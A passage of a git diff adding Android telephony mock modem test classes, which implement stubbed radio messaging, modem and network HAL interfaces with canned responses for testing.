+    public void getCdmaBroadcastConfig(int serial) {
+        Log.d(TAG, "getCdmaBroadcastConfig");
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioMessagingResponse.getCdmaBroadcastConfigResponse(rsp, null);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to getCdmaBroadcastConfig from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void getGsmBroadcastConfig(int serial) {
+        Log.d(TAG, "getGsmBroadcastConfig");
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioMessagingResponse.getGsmBroadcastConfigResponse(rsp, null);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to getGsmBroadcastConfig from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void getSmscAddress(int serial) {
+        Log.d(TAG, "getSmscAddress");
+
+        String smsc = "";
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioMessagingResponse.getSmscAddressResponse(rsp, smsc);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to getSmscAddress from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void reportSmsMemoryStatus(int serial, boolean available) {
+        Log.d(TAG, "reportSmsMemoryStatus");
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioMessagingResponse.reportSmsMemoryStatusResponse(rsp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to reportSmsMemoryStatus from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void responseAcknowledgement() {
+        Log.d(TAG, "responseAcknowledgement");
+        // TODO
+    }
+
+    @Override
+    public void sendCdmaSms(int serial, android.hardware.radio.messaging.CdmaSmsMessage sms) {
+        Log.d(TAG, "sendCdmaSms");
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioMessagingResponse.sendCdmaSmsResponse(rsp, null);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to sendCdmaSms from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void sendCdmaSmsExpectMore(
+            int serial, android.hardware.radio.messaging.CdmaSmsMessage sms) {
+        Log.d(TAG, "sendCdmaSmsExpectMore");
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioMessagingResponse.sendCdmaSmsExpectMoreResponse(rsp, null);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to sendCdmaSmsExpectMore from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void sendImsSms(int serial, android.hardware.radio.messaging.ImsSmsMessage message) {
+        Log.d(TAG, "sendImsSms");
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioMessagingResponse.sendImsSmsResponse(rsp, null);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to sendImsSms from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void sendSms(int serial, android.hardware.radio.messaging.GsmSmsMessage message) {
+        Log.d(TAG, "sendSms");
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioMessagingResponse.sendSmsResponse(rsp, null);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to sendSms from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void sendSmsExpectMore(
+            int serial, android.hardware.radio.messaging.GsmSmsMessage message) {
+        Log.d(TAG, "sendSmsExpectMore");
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioMessagingResponse.sendSmsExpectMoreResponse(rsp, null);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to sendSmsExpectMore from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void setCdmaBroadcastActivation(int serial, boolean activate) {
+        Log.d(TAG, "setCdmaBroadcastActivation");
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioMessagingResponse.setCdmaBroadcastActivationResponse(rsp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to setCdmaBroadcastActivation from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void setCdmaBroadcastConfig(
+            int serial, android.hardware.radio.messaging.CdmaBroadcastSmsConfigInfo[] configInfo) {
+        Log.d(TAG, "setCdmaBroadcastConfig");
+
+        int error = RadioError.NONE;
+        if (configInfo == null || configInfo.length == 0) {
+            error = RadioError.INVALID_ARGUMENTS;
+        } else {
+            synchronized (mCdmaBroadcastConfigSet) {
+                mCdmaBroadcastConfigSet.clear();
+                for (int i = 0; i < configInfo.length; i++) {
+                    Log.d(TAG, "configInfo serviceCategory"
+                            + configInfo[i].serviceCategory);
+                    mCdmaBroadcastConfigSet.add(configInfo[i].serviceCategory);
+                }
+            }
+        }
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, error);
+        try {
+            mRadioMessagingResponse.setCdmaBroadcastConfigResponse(rsp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to setCdmaBroadcastConfig from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void setGsmBroadcastActivation(int serial, boolean activate) {
+        Log.d(TAG, "setGsmBroadcastActivation");
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioMessagingResponse.setGsmBroadcastActivationResponse(rsp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to setGsmBroadcastActivation from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void setGsmBroadcastConfig(
+            int serial, android.hardware.radio.messaging.GsmBroadcastSmsConfigInfo[] configInfo) {
+        Log.d(TAG, "setGsmBroadcastConfig");
+
+        int error = RadioError.NONE;
+        if (configInfo == null || configInfo.length == 0) {
+            error = RadioError.INVALID_ARGUMENTS;
+        } else {
+            synchronized (mGsmBroadcastConfigSet) {
+                mGsmBroadcastConfigSet.clear();
+                for (int i = 0; i < configInfo.length; i++) {
+                    int startId = configInfo[i].fromServiceId;
+                    int endId = configInfo[i].toServiceId;
+                    boolean selected  = configInfo[i].selected;
+                    Log.d(TAG, "configInfo from: " + startId + ", to: " + endId
+                            + ", selected: " + selected);
+                    if (selected) {
+                        for (int j = startId; j <= endId; j++) {
+                            mGsmBroadcastConfigSet.add(j);
+                        }
+                    }
+                }
+            }
+        }
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, error);
+        try {
+            mRadioMessagingResponse.setGsmBroadcastConfigResponse(rsp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to setGsmBroadcastConfig from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void setSmscAddress(int serial, String smsc) {
+        Log.d(TAG, "setSmscAddress");
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioMessagingResponse.setSmscAddressResponse(rsp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to setSmscAddress from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void writeSmsToRuim(
+            int serial, android.hardware.radio.messaging.CdmaSmsWriteArgs cdmaSms) {
+        Log.d(TAG, "writeSmsToRuim");
+
+        int index = 0;
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioMessagingResponse.writeSmsToRuimResponse(rsp, index);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to writeSmsToRuim from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void writeSmsToSim(
+            int serial, android.hardware.radio.messaging.SmsWriteArgs smsWriteArgs) {
+        Log.d(TAG, "writeSmsToSim");
+
+        int index = 0;
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioMessagingResponse.writeSmsToSimResponse(rsp, index);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to writeSmsToSim from AIDL. Exception" + ex);
+        }
+    }
+
+    public void cdmaNewSms(android.hardware.radio.messaging.CdmaSmsMessage msg) {
+        Log.d(TAG, "cdmaNewSms");
+
+        if (mRadioMessagingIndication != null) {
+            try {
+                mRadioMessagingIndication.cdmaNewSms(RadioIndicationType.UNSOLICITED, msg);
+            } catch (RemoteException ex) {
+                Log.e(TAG, "Failed to cdmaNewSms indication from AIDL. Exception" + ex);
+            }
+        } else {
+            Log.e(TAG, "null mRadioMessagingIndication");
+        }
+    }
+
+    public void cdmaRuimSmsStorageFull() {
+        Log.d(TAG, "cdmaRuimSmsStorageFull");
+
+        if (mRadioMessagingIndication != null) {
+            try {
+                mRadioMessagingIndication.cdmaRuimSmsStorageFull(RadioIndicationType.UNSOLICITED);
+            } catch (RemoteException ex) {
+                Log.e(TAG, "Failed to cdmaRuimSmsStorageFull indication from AIDL. Exception" + ex);
+            }
+        } else {
+            Log.e(TAG, "null mRadioMessagingIndication");
+        }
+    }
+
+    public void newBroadcastSms(byte[] data) {
+        Log.d(TAG, "newBroadcastSms");
+
+        if (mRadioMessagingIndication != null) {
+            try {
+                mRadioMessagingIndication.newBroadcastSms(RadioIndicationType.UNSOLICITED, data);
+            } catch (RemoteException ex) {
+                Log.e(TAG, "Failed to newBroadcastSms indication from AIDL. Exception" + ex);
+            }
+        } else {
+            Log.e(TAG, "null mRadioMessagingIndication");
+        }
+    }
+
+    public void newSms(byte[] pdu) {
+        Log.d(TAG, "newSms");
+
+        if (mRadioMessagingIndication != null) {
+            try {
+                mRadioMessagingIndication.newSms(RadioIndicationType.UNSOLICITED, pdu);
+            } catch (RemoteException ex) {
+                Log.e(TAG, "Failed to newSms indication from AIDL. Exception" + ex);
+            }
+        } else {
+            Log.e(TAG, "null mRadioMessagingIndication");
+        }
+    }
+
+    public void newSmsOnSim(int recordNumber) {
+        Log.d(TAG, "newSmsOnSim");
+
+        if (mRadioMessagingIndication != null) {
+            try {
+                mRadioMessagingIndication.newSmsOnSim(
+                        RadioIndicationType.UNSOLICITED, recordNumber);
+            } catch (RemoteException ex) {
+                Log.e(TAG, "Failed to newSmsOnSim indication from AIDL. Exception" + ex);
+            }
+        } else {
+            Log.e(TAG, "null mRadioMessagingIndication");
+        }
+    }
+
+    public void newSmsStatusReport(byte[] pdu) {
+        Log.d(TAG, "newSmsStatusReport");
+
+        if (mRadioMessagingIndication != null) {
+            try {
+                mRadioMessagingIndication.newSmsStatusReport(RadioIndicationType.UNSOLICITED, pdu);
+            } catch (RemoteException ex) {
+                Log.e(TAG, "Failed to newSmsStatusReport indication from AIDL. Exception" + ex);
+            }
+        } else {
+            Log.e(TAG, "null mRadioMessagingIndication");
+        }
+    }
+
+    public void simSmsStorageFull() {
+        Log.d(TAG, "simSmsStorageFull");
+
+        if (mRadioMessagingIndication != null) {
+            try {
+                mRadioMessagingIndication.simSmsStorageFull(RadioIndicationType.UNSOLICITED);
+            } catch (RemoteException ex) {
+                Log.e(TAG, "Failed to simSmsStorageFull indication from AIDL. Exception" + ex);
+            }
+        } else {
+            Log.e(TAG, "null mRadioMessagingIndication");
+        }
+    }
+
+    @Override
+    public String getInterfaceHash() {
+        return IRadioMessaging.HASH;
+    }
+
+    @Override
+    public int getInterfaceVersion() {
+        return IRadioMessaging.VERSION;
+    }
+
+    public Set<Integer> getGsmBroadcastConfigSet() {
+        synchronized (mGsmBroadcastConfigSet) {
+            Log.d(TAG, "getBroadcastConfigSet. " + mGsmBroadcastConfigSet);
+            return mGsmBroadcastConfigSet;
+        }
+    }
+
+    public Set<Integer> getCdmaBroadcastConfigSet() {
+        synchronized (mCdmaBroadcastConfigSet) {
+            Log.d(TAG, "getBroadcastConfigSet. " + mCdmaBroadcastConfigSet);
+            return mCdmaBroadcastConfigSet;
+        }
+    }
+}
diff --git a/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/IRadioModemImpl.java b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/IRadioModemImpl.java
new file mode 100644
index 0000000..dbdda3c
--- /dev/null
+++ b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/IRadioModemImpl.java
@@ -0,0 +1,485 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.mockmodem;
+
+import static com.android.internal.telephony.RILConstants.RIL_REQUEST_RADIO_POWER;
+
+import android.hardware.radio.RadioError;
+import android.hardware.radio.RadioIndicationType;
+import android.hardware.radio.RadioResponseInfo;
+import android.hardware.radio.modem.IRadioModem;
+import android.hardware.radio.modem.IRadioModemIndication;
+import android.hardware.radio.modem.IRadioModemResponse;
+import android.hardware.radio.modem.RadioState;
+import android.os.AsyncResult;
+import android.os.Handler;
+import android.os.Message;
+import android.os.RemoteException;
+import android.util.Log;
+
+public class IRadioModemImpl extends IRadioModem.Stub {
+    private static final String TAG = "MRMDM";
+
+    private final MockModemService mService;
+    private IRadioModemResponse mRadioModemResponse;
+    private IRadioModemIndication mRadioModemIndication;
+
+    private int mForceRadioPowerError = -1;
+
+    private static MockModemConfigInterface[] sMockModemConfigInterfaces;
+    private Object mCacheUpdateMutex;
+    private final Handler mHandler;
+    private int mSubId;
+
+    // ***** Events
+    static final int EVENT_BASEBAND_VERSION_CHANGED = 1;
+    static final int EVENT_DEVICE_IDENTITY_CHANGED = 2;
+    static final int EVENT_RADIO_STATE_CHANGED = 3;
+
+    // ***** Cache of modem attributes/status
+    private String mBasebandVer;
+    private String mImei;
+    private String mImeiSv;
+    private String mEsn;
+    private String mMeid;
+    private int mRadioState;
+
+    public IRadioModemImpl(
+            MockModemService service, MockModemConfigInterface[] interfaces, int instanceId) {
+        Log.d(TAG, "Instantiated");
+
+        this.mService = service;
+        sMockModemConfigInterfaces = interfaces;
+        mCacheUpdateMutex = new Object();
+        mHandler = new IRadioModemHandler();
+        mSubId = instanceId;
+
+        // Register events
+        sMockModemConfigInterfaces[mSubId].registerForBasebandVersionChanged(
+                mHandler, EVENT_BASEBAND_VERSION_CHANGED, null);
+        sMockModemConfigInterfaces[mSubId].registerForDeviceIdentityChanged(
+                mHandler, EVENT_DEVICE_IDENTITY_CHANGED, null);
+        sMockModemConfigInterfaces[mSubId].registerForRadioStateChanged(
+                mHandler, EVENT_RADIO_STATE_CHANGED, null);
+    }
+
+    /** Handler class to handle callbacks */
+    private final class IRadioModemHandler extends Handler {
+        @Override
+        public void handleMessage(Message msg) {
+            AsyncResult ar;
+            synchronized (mCacheUpdateMutex) {
+                switch (msg.what) {
+                    case EVENT_BASEBAND_VERSION_CHANGED:
+                        Log.d(TAG, "Received EVENT_BASEBAND_VERSION_CHANGED");
+                        ar = (AsyncResult) msg.obj;
+                        if (ar != null && ar.exception == null) {
+                            mBasebandVer = (String) ar.result;
+                            Log.i(TAG, "Basedband version = " + mBasebandVer);
+                        } else {
+                            Log.e(
+                                    TAG,
+                                    msg.what
+                                            + " failure. Not update baseband version."
+                                            + ar.exception);
+                        }
+                        break;
+                    case EVENT_DEVICE_IDENTITY_CHANGED:
+                        Log.d(TAG, "Received EVENT_DEVICE_IDENTITY_CHANGED");
+                        ar = (AsyncResult) msg.obj;
+                        if (ar != null && ar.exception == null) {
+                            String[] deviceIdentity = (String[]) ar.result;
+                            mImei = deviceIdentity[0];
+                            mImeiSv = deviceIdentity[1];
+                            mEsn = deviceIdentity[2];
+                            mMeid = deviceIdentity[3];
+                            Log.i(
+                                    TAG,
+                                    "Device identity: IMEI = "
+                                            + mImei
+                                            + " IMEISV = "
+                                            + mImeiSv
+                                            + " ESN = "
+                                            + mEsn
+                                            + " MEID ="
+                                            + mMeid);
+                        } else {
+                            Log.e(
+                                    TAG,
+                                    msg.what
+                                            + " failure. Not update device identity."
+                                            + ar.exception);
+                        }
+                        break;
+                    case EVENT_RADIO_STATE_CHANGED:
+                        Log.d(TAG, "Received EVENT_RADIO_STATE_CHANGED");
+                        ar = (AsyncResult) msg.obj;
+                        if (ar != null && ar.exception == null) {
+                            mRadioState = (int) ar.result;
+                            Log.i(TAG, "Radio state: " + mRadioState);
+                        } else {
+                            Log.e(TAG, msg.what + " failure. Exception: " + ar.exception);
+                        }
+                        break;
+                }
+            }
+        }
+    }
+
+    // Implementation of IRadioModem functions
+    @Override
+    public void setResponseFunctions(
+            IRadioModemResponse radioModemResponse, IRadioModemIndication radioModemIndication) {
+        Log.d(TAG, "setResponseFunctions");
+        mRadioModemResponse = radioModemResponse;
+        mRadioModemIndication = radioModemIndication;
+        mService.countDownLatch(MockModemService.LATCH_RADIO_INTERFACES_READY);
+    }
+
+    @Override
+    public void enableModem(int serial, boolean on) {
+        Log.d(TAG, "getNumOfLiveModems " + on);
+
+        // TODO: cache value
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioModemResponse.enableModemResponse(rsp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to enableModem from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void getBasebandVersion(int serial) {
+        Log.d(TAG, "getBasebandVersion");
+
+        String baseband;
+
+        synchronized (mCacheUpdateMutex) {
+            baseband = mBasebandVer;
+        }
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial);
+        try {
+            mRadioModemResponse.getBasebandVersionResponse(rsp, baseband);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to getBasebandVersion from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void getDeviceIdentity(int serial) {
+        Log.d(TAG, "getDeviceIdentity");
+
+        String imei, imeisv, esn, meid;
+
+        synchronized (mCacheUpdateMutex) {
+            imei = mImei;
+            imeisv = mImeiSv;
+            esn = mEsn;
+            meid = mMeid;
+        }
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial);
+        try {
+            mRadioModemResponse.getDeviceIdentityResponse(rsp, imei, imeisv, esn, meid);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to getDeviceIdentity from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void getHardwareConfig(int serial) {
+        Log.d(TAG, "getHardwareConfig");
+
+        android.hardware.radio.modem.HardwareConfig[] config =
+                new android.hardware.radio.modem.HardwareConfig[0];
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioModemResponse.getHardwareConfigResponse(rsp, config);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to getHardwareConfig from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void getModemActivityInfo(int serial) {
+        Log.d(TAG, "getModemActivityInfo");
+
+        android.hardware.radio.modem.ActivityStatsInfo activityInfo =
+                new android.hardware.radio.modem.ActivityStatsInfo();
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioModemResponse.getModemActivityInfoResponse(rsp, activityInfo);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to getModemActivityInfo from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void getModemStackStatus(int serial) {
+        Log.d(TAG, "getModemStackStatus");
+
+        boolean isEnabled = false;
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioModemResponse.getModemStackStatusResponse(rsp, isEnabled);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to getModemStackStatus from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void getRadioCapability(int serial) {
+        Log.d(TAG, "getRadioCapability");
+
+        android.hardware.radio.modem.RadioCapability rc =
+                new android.hardware.radio.modem.RadioCapability();
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioModemResponse.getRadioCapabilityResponse(rsp, rc);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to getRadioCapability from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void nvReadItem(int serial, int itemId) {
+        Log.d(TAG, "nvReadItem");
+
+        // TODO: cache value
+        String result = "";
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioModemResponse.nvReadItemResponse(rsp, result);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to nvReadItem from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void nvResetConfig(int serial, int resetType) {
+        Log.d(TAG, "nvResetConfig");
+
+        // TODO: cache value
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioModemResponse.nvResetConfigResponse(rsp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to nvResetConfig from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void nvWriteCdmaPrl(int serial, byte[] prl) {
+        Log.d(TAG, "nvWriteCdmaPrl");
+
+        // TODO: cache value
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioModemResponse.nvWriteCdmaPrlResponse(rsp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to nvWriteCdmaPrl from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void nvWriteItem(int serial, android.hardware.radio.modem.NvWriteItem item) {
+        Log.d(TAG, "nvWriteItem");
+
+        // TODO: cache value
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioModemResponse.nvWriteItemResponse(rsp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to nvWriteItem from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void requestShutdown(int serial) {
+        Log.d(TAG, "requestShutdown");
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial);
+        try {
+            mRadioModemResponse.requestShutdownResponse(rsp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to requestShutdown from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void sendDeviceState(int serial, int deviceStateType, boolean state) {
+        Log.d(TAG, "sendDeviceState");
+
+        // TODO: cache value
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial);
+        try {
+            mRadioModemResponse.sendDeviceStateResponse(rsp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to sendDeviceState from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void responseAcknowledgement() {
+        Log.d(TAG, "responseAcknowledgement");
+    }
+
+    @Override
+    public void setRadioCapability(int serial, android.hardware.radio.modem.RadioCapability rc) {
+        Log.d(TAG, "setRadioCapability");
+
+        // TODO: cache value
+        android.hardware.radio.modem.RadioCapability respRc =
+                new android.hardware.radio.modem.RadioCapability();
+
+        RadioResponseInfo rsp = mService.makeSolRsp(serial, RadioError.REQUEST_NOT_SUPPORTED);
+        try {
+            mRadioModemResponse.setRadioCapabilityResponse(rsp, respRc);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to setRadioCapability from AIDL. Exception" + ex);
+        }
+    }
+
+    @Override
+    public void setRadioPower(
+            int serial,
+            boolean powerOn,
+            boolean forEmergencyCall,
+            boolean preferredForEmergencyCall) {
+        Log.d(TAG, "setRadioPower");
+        RadioResponseInfo rsp = null;
+
+        // Check if the error response needs to be modified
+        if (mForceRadioPowerError != -1) {
+            rsp = mService.makeSolRsp(serial, mForceRadioPowerError);
+        } else {
+            synchronized (mCacheUpdateMutex) {
+                if (powerOn) {
+                    mRadioState = MockModemConfigInterface.RADIO_STATE_ON;
+                } else {
+                    mRadioState = MockModemConfigInterface.RADIO_STATE_OFF;
+                }
+                sMockModemConfigInterfaces[mSubId].setRadioState(mRadioState, TAG);
+            }
+            rsp = mService.makeSolRsp(serial);
+        }
+
+        try {
+            mRadioModemResponse.setRadioPowerResponse(rsp);
+        } catch (RemoteException ex) {
+            Log.e(TAG, "Failed to setRadioPower from AIDL. Exception" + ex);
+        }
+
+        if (rsp.error == RadioError.NONE) {
+            if (powerOn) {
+                radioStateChanged(RadioState.ON);
+            } else {
+                radioStateChanged(RadioState.OFF);
+            }
+        }
+    }
+
+    /**
+     * Sent when setRadioCapability() completes. Returns the same RadioCapability as
+     * getRadioCapability() and is the same as the one sent by setRadioCapability().
+     *
+     * @param radioCapability Current radio capability
+     */
+    public void radioCapabilityIndication(
+            android.hardware.radio.modem.RadioCapability radioCapability) {
+        Log.d(TAG, "radioCapabilityIndication");
+
+        if (mRadioModemIndication != null) {
+            try {
+                mRadioModemIndication.radioCapabilityIndication(
+                        RadioIndicationType.UNSOLICITED, radioCapability);
+            } catch (RemoteException ex) {
+                Log.e(TAG, "Failed to radioCapabilityIndication from AIDL. Exception" + ex);
+            }
+        } else {
+
+            Log.e(TAG, "null mRadioModemIndication");
+        }
+    }
+
+    /**
+     * Indicates when radio state changes.
+     *
+     * @param radioState Current radio state
+     */
+    public void radioStateChanged(int radioState) {
+        Log.d(TAG, "radioStateChanged");
+
+        if (mRadioModemIndication != null) {
+            try {
+                mRadioModemIndication.radioStateChanged(
+                        RadioIndicationType.UNSOLICITED, radioState);
+            } catch (RemoteException ex) {
+                Log.e(TAG, "Failed to radioStateChanged from AIDL. Exception" + ex);
+            }
+        } else {
+
+            Log.e(TAG, "null mRadioModemIndication");
+        }
+    }
+
+    /** Indicates the ril connects and returns the version. */
+    public void rilConnected() {
+        Log.d(TAG, "rilConnected");
+
+        if (mRadioModemIndication != null) {
+            try {
+                mRadioModemIndication.rilConnected(RadioIndicationType.UNSOLICITED);
+            } catch (RemoteException ex) {
+                Log.e(TAG, "Failed to rilConnected from AIDL. Exception" + ex);
+            }
+        } else {
+
+            Log.e(TAG, "null mRadioModemIndication");
+        }
+    }
+
+    public void forceErrorResponse(int requestId, int error) {
+        switch (requestId) {
+            case RIL_REQUEST_RADIO_POWER:
+                mForceRadioPowerError = error;
+                break;
+            default:
+                break;
+        }
+    }
+
+    @Override
+    public String getInterfaceHash() {
+        return IRadioModem.HASH;
+    }
+
+    @Override
+    public int getInterfaceVersion() {
+        return IRadioModem.VERSION;
+    }
+}
diff --git a/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/IRadioNetworkImpl.java b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/IRadioNetworkImpl.java
new file mode 100644
index 0000000..9b64082
--- /dev/null
+++ b/tests/tests/telephony/current/mockmodem/src/android/telephony/mockmodem/IRadioNetworkImpl.java
@@ -0,0 +1,821 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telephony.mockmodem;
+
+import android.hardware.radio.RadioError;
+import android.hardware.radio.RadioIndicationType;
+import android.hardware.radio.RadioResponseInfo;
+import android.hardware.radio.network.IRadioNetwork;
+import android.hardware.radio.network.IRadioNetworkIndication;
+import android.hardware.radio.network.IRadioNetworkResponse;
+import android.hardware.radio.network.NetworkScanRequest;
+import android.hardware.radio.network.RadioAccessSpecifier;
+import android.hardware.radio.network.RegState;
+import android.hardware.radio.network.SignalThresholdInfo;
+import android.hardware.radio.sim.CardStatus;
+import android.os.AsyncResult;
+import android.os.Handler;
+import android.os.Message;
+import android.os.RemoteException;
+import android.util.Log;
+
+public class IRadioNetworkImpl extends IRadioNetwork.Stub {
+    private static final String TAG = "MRNW";
+
+    private final MockModemService mService;
+    private IRadioNetworkResponse mRadioNetworkResponse;
+    private IRadioNetworkIndication mRadioNetworkIndication;
+    private static MockModemConfigInterface[] sMockModemConfigInterfaces;
+    private Object mCacheUpdateMutex;
+    private final Handler mHandler;
+    private int mSubId;
+
+    // ***** Events
+    static final int EVENT_RADIO_STATE_CHANGED = 1;
+    static final int EVENT_SIM_STATUS_CHANGED = 2;
+    static final int EVENT_PREFERRED_MODE_CHANGED = 3;
+
+    // ***** Cache of modem attributes/status
+    private int mNetworkTypeBitmap;
+    private int mReasonForDenial;
+    private boolean mNetworkSelectionMode;
+
+    private int mRadioState;
+    private boolean mSimReady;
+
+    private MockNetworkService mServiceState;
+
+    public IRadioNetworkImpl(
+            MockModemService service, MockModemConfigInterface[] interfaces, int instanceId) {
+        Log.d(TAG, "Instantiated");
+
+        this.mService = service;
+        sMockModemConfigInterfaces = interfaces;
+        mCacheUpdateMutex = new Object();
